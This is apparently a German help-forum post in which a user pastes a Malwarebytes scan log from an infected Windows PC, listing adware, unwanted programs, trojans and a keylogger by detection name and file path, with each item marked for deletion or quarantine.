PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules\async, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\combined-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\http-signature, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\forever-agent, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tunnel-agent, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\example, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\stringstream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\tough-cookie, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\oauth-sign, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\mime-types, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\node-uuid, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\aws-sign2, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\form-data, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\caseless, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\block-stream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\inherits, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\hawk, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules\fstream, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\bl, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules\qs, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\universal-analytics, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\examples, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\test, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\request, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar\lib, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules\tar, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\node_modules, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\storage, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw8668_14443\images, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\NW8668_14443, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.Amonetize, C:\USERS\****\APPDATA\LOCAL\TEMP\00005874, Löschen bei Neustart, [6], [340209],1.0.2075
Rest folgt in der nächten Antwort, da Malware fast 2000 Bedrohungen entfernen musste.

Twix. 03.06.2017 00:17
mbam - Teil2:
Code:
Datei: 1459
PUP.Optional.HDWallPaper, C:\WINDOWS\SYSTEM32\NETUTILS2016.DLL, Löschen bei Neustart, [132], [392467],1.0.2075
Adware.Elex, C:\PROGRAM FILES (X86)\CKADOLEATGY NODIFIER\LOCAL64SPL.DLL, Löschen bei Neustart, [2], [389178],1.0.2075
Adware.Elex, C:\PROGRAM FILES (X86)\MAOHA\JISUZIP\JZIPEXT.DLL, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\deletecdrom.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\ejectcd.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\installdriver.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\loadcd.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\removedriver.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\VCDRom.sys, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\VCDRomX64.sys, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso\wiserisodll.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\lang\Chs_Lan.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\Microsoft.VC90.CRT\Microsoft.VC90.CRT.manifest, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\Microsoft.VC90.CRT\msvcm90.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\sfx\Setup_chs.sfx, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipSubmit\ZipSubmit.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipSubmit\ZipSubmit64.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipUpdater\JsZipUpg.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipUpdater\ZipUpdate.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\substatEx.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\pcid.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\substat.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\substat64.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\tips.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\tipsdll.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\Uninst.dar0, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\Uninst.dar1, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\uninstall.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\Uninstall.exe, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipCore.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipPlug.dll, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\zuninst.dll, Löschen bei Neustart, [2], [356754],1.0.2075
PUP.Optional.PCHandller, C:\Program Files (x86)\pchandller\pchandller.exe, Löschen bei Neustart, [9326], [403626],1.0.2075
PUP.Optional.PCHandller, C:\Program Files (x86)\pchandller\uninstaller.exe, Löschen bei Neustart, [9326], [403626],1.0.2075
PUP.Optional.PCHandller, C:\Program Files (x86)\pchandller\uninstaller.exe.config, Löschen bei Neustart, [9326], [403626],1.0.2075
Trojan.Agent.Generic, C:\PROGRAM FILES\INTERNET EXPLORER\056X34297Y\F3UU0IZGB9.EXE, Löschen bei Neustart, [463], [369948],1.0.2075
Trojan.Agent.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\34-A27FE-E7B-AE1A4-4608880FDBB52\ZPZVYIZHUS.EXE, Löschen bei Neustart, [463], [369948],1.0.2075
Trojan.Agent.WSB, C:\WINDOWS\SYSWOW64\KBDTIPSD.DLL, Löschen bei Neustart, [9645], [127813],1.0.2075
PUP.Optional.SwytShop, C:\Users\****\AppData\Local\Programs\SwytShop_Pkg3\captcha.hta, Löschen bei Neustart, [3131], [386986],1.0.2075
PUP.Optional.SwytShop, C:\Users\****\AppData\Local\Programs\SwytShop_Pkg3\unins000.dat, Löschen bei Neustart, [3131], [386986],1.0.2075
PUP.Optional.SwytShop, C:\Users\****\AppData\Local\Programs\SwytShop_Pkg3\unins000.exe, Löschen bei Neustart, [3131], [386986],1.0.2075
Adware.Elex.SHHKRST, C:\USERS\****\APPDATA\ROAMING\REERKUCULTPRIFERY\CLUFELY.DLL, Löschen bei Neustart, [11], [396509],1.0.2075
PUP.Optional.SwytShop, C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\jetpack\323D625D490FE8DD@ext.u\simple-storage\store.json, Löschen bei Neustart, [3131], [375413],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\Program Files\Common Files\Noobzo\GNUpdate\smci64.dll, Löschen bei Neustart, [8982], [384282],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\Program Files\Common Files\Noobzo\GNUpdate\smi32.exe, Löschen bei Neustart, [8982], [384282],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\Program Files\Common Files\Noobzo\GNUpdate\smi64.exe, Löschen bei Neustart, [8982], [384282],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\Program Files\Common Files\Noobzo\GNUpdate\smu.exe, Löschen bei Neustart, [8982], [384282],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\Program Files\Common Files\Noobzo\GNUpdate\SMUninstall.exe, Löschen bei Neustart, [8982], [384282],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\Program Files\Common Files\Noobzo\GNUpdate\smw.sys, Löschen bei Neustart, [8982], [384282],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\PREFS.JS, Ersetzt, [2], [387123],1.0.2075
Adware.Wajam, C:\PROGRAM FILES\A7818F1C7050F50263D826B899A2AEC2\WBE_UNINSTALL.DAT, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Wajam, C:\Program Files\a7818f1c7050f50263d826b899a2aec2\39513e45cd53f1540003feb9090aecae.exe, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Wajam, C:\Program Files\a7818f1c7050f50263d826b899a2aec2\cc1bea09bbdcd3ca5f73a89ca7a34202.ico, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Wajam, C:\Program Files\a7818f1c7050f50263d826b899a2aec2\d8876d56aba68350142aed555bcc5903.exe, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Wajam, C:\Program Files\a7818f1c7050f50263d826b899a2aec2\eb40a68307d6d6774101e0cc417db863.exe, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Wajam, C:\Program Files\a7818f1c7050f50263d826b899a2aec2\f0cb87e85c6a832d6d0a956b5845395b, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Wajam, C:\Program Files\a7818f1c7050f50263d826b899a2aec2\service.dat, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Wajam, C:\Program Files\a7818f1c7050f50263d826b899a2aec2\service_64.dat, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Agent.Generic, C:\PROGRAMDATA\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}\C7A468EE-700F-DF45-D7C1-660944E77E98.EXE, Löschen bei Neustart, [1418], [331038],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\ROAMING\PROFILES\DRHATHERDRERGHT.DEFAULT\SEARCHPLUGINS\BVHGCTV8.XML, Löschen bei Neustart, [2], [387118],1.0.2075
Spyware.KeyLogger, C:\PROGRAM FILES (X86)\MTGPSFMYZE\KL.DLL, Löschen bei Neustart, [135], [378200],1.0.2075
PUP.Optional.FFHijacker, C:\PROGRAM FILES (X86)\MOZILLA FIREFOX\13802781.CFG, Löschen bei Neustart, [1140], [330649],1.0.2075
Adware.OtherSearch, C:\PROGRAM FILES (X86)\MTGPSFMYZE\UNINSTALL.EXE, Löschen bei Neustart, [2156], [384381],1.0.2075
PUP.Optional.Amonetize, C:\USERS\****\APPDATA\LOCAL\TEMP\AMIPIXEL.CFG, Löschen bei Neustart, [6], [302488],1.0.2075
Adware.FileTour, C:\USERS\****\APPDATA\LOCAL\TEMP\GTA_SA.RAR, Löschen bei Neustart, [243], [404141],1.0.2075
PUP.Optional.SpeedingUpMyPC, C:\USERS\****\APPDATA\LOCAL\TEMP\3349502D146645858EA594CBA8DD2A92\INTER_SILENT.EXE, Löschen bei Neustart, [906], [389100],1.0.2075
Adware.Elex.Generic, C:\PROGRAM FILES (X86)\CKADOLEATGY NODIFIER\LOCAL64SPL.DLL.INI, Löschen bei Neustart, [1107], [358275],1.0.2075
PUP.Optional.Amonetize, C:\USERS\****\APPDATA\LOCAL\TEMP\SETUP.EXE, Löschen bei Neustart, [6], [387785],1.0.2075
Adware.Eszjuxuan, C:\USERS\****\APPDATA\LOCAL\TEMP\IS-9M7PL.TMP\KPZIP.EXE, Löschen bei Neustart, [42], [380623],1.0.2075
PUP.Optional.InstallCore, C:\USERS\****\APPDATA\LOCAL\TEMP\YEADESKTOP.EXE, Löschen bei Neustart, [3], [356458],1.0.2075
PUP.Optional.BitCoinMiner, C:\USERS\****\APPDATA\LOCAL\TEMP\2DF9510FF3084A9DA65DE1478D33B55C\OCZçHTOQ6A.EXE, Löschen bei Neustart, [197], [363441],1.0.2075
PUP.Optional.SearchModule, C:\WINDOWS\TEMP\SM_CACHE_FIREFOX.EXE.CACHE, Löschen bei Neustart, [651], [242733],1.0.2075
Adware.Eszjuxuan, C:\USERS\****\APPDATA\LOCAL\TEMP\475EFAC083E14A9BBD5F3E0EFA0C77BE\SETUP.EXE, Löschen bei Neustart, [42], [392762],1.0.2075
Hijack.HostFile, C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS, Ersetzt, [328], [329328],1.0.2075
PUP.Optional.AppTrailers, C:\USERS\****\APPDATA\LOCAL\TEMP\APPTRAILERS.9.1.10AMT.EXE, Löschen bei Neustart, [853], [338239],1.0.2075
PUP.Optional.UCBrowser, C:\USERS\****\APPDATA\LOCAL\TEMP\00005688\UCBROWSER_V6.1.2107.204_4043_(BUILD1703071827)_CHANNELU_03081433.EXE, Löschen bei Neustart, [1348], [396531],1.0.2075
Adware.Amonetize, C:\USERS\****\APPDATA\LOCAL\TEMP\34-A27FE-E7B-AE1A4-4608880FDBB52\WOJJJVRQUC.EXE, Löschen bei Neustart, [1090], [378669],1.0.2075
PUP.Optional.SystemHealer, C:\USERS\****\APPDATA\LOCAL\TEMP\77DD64F6A4364ACA822EA9C5132F470F\SETUP.EXE, Löschen bei Neustart, [980], [363442],1.0.2075
PUP.Optional.SwytShop, C:\USERS\****\APPDATA\LOCAL\TEMP\ACCC722D3E204C608BFAED88DDF83E4F\SS-3-170524-162911.EXE, Löschen bei Neustart, [3131], [368892],1.0.2075
PUP.Optional.VideoBox, C:\USERS\****\APPDATA\LOCAL\TEMP\VBSETUP.EXE, Löschen bei Neustart, [2301], [402806],1.0.2075
Adware.Tuto4PC.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\82-21DA2-1EA-8C484-3CE583976AB12\HHJNJOZZGV.EXE.CONFIG, Löschen bei Neustart, [1300], [368102],1.0.2075
Adware.Agent, C:\USERS\****\APPDATA\LOCAL\TEMP\00005874\MSIQL.EXE, Löschen bei Neustart, [249], [15006],1.0.2075
Adware.Eszjuxuan, C:\USERS\****\APPDATA\LOCAL\TEMP\05675\SETUP.EXE, Löschen bei Neustart, [42], [392762],1.0.2075
Adware.Tuto4PC.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\34-A27FE-E7B-AE1A4-4608880FDBB52\WOJJJVRQUC.EXE.CONFIG, Löschen bei Neustart, [1300], [368102],1.0.2075
Adware.Tuto4PC.Generic, C:\Users\****\AppData\Local\Temp\34-a27fe-e7b-ae1a4-4608880fdbb52\ZPZVYIZHUS.exe.config, Löschen bei Neustart, [1300], [368102],1.0.2075
PUP.Optional.YeaDesktop, C:\USERS\****\APPDATA\LOCAL\TEMP\IS-9M7PL.TMP\YEADESKTOP3.EXE, Löschen bei Neustart, [1533], [391393],1.0.2075
Adware.Elex, C:\USERS\****\APPDATA\LOCAL\TEMP\IS-EFNEB.TMP\SETUP.EXE, Löschen bei Neustart, [2], [402719],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\NW1312_20442\PACKAGE.JSON, Löschen bei Neustart, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\close.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\expand.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icon16.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icon20.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icon24.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icon256.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icon36.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icon48.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icon64.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\icontray.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\loader.gif, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\minimize.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\search.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\images\unexpand.png, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\examples\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\lib\cookies.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\lib\copy.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\lib\debug.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\lib\helpers.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\aws-sign2\index.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\aws-sign2\package.json, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\aws-sign2\README.md, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_duplex.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_passthrough.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_readable.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_transform.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\lib\_stream_writable.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\lib\util.js, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\float.patch, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\package.json, In Quarantäne, [2862], [371306],1.0.2075
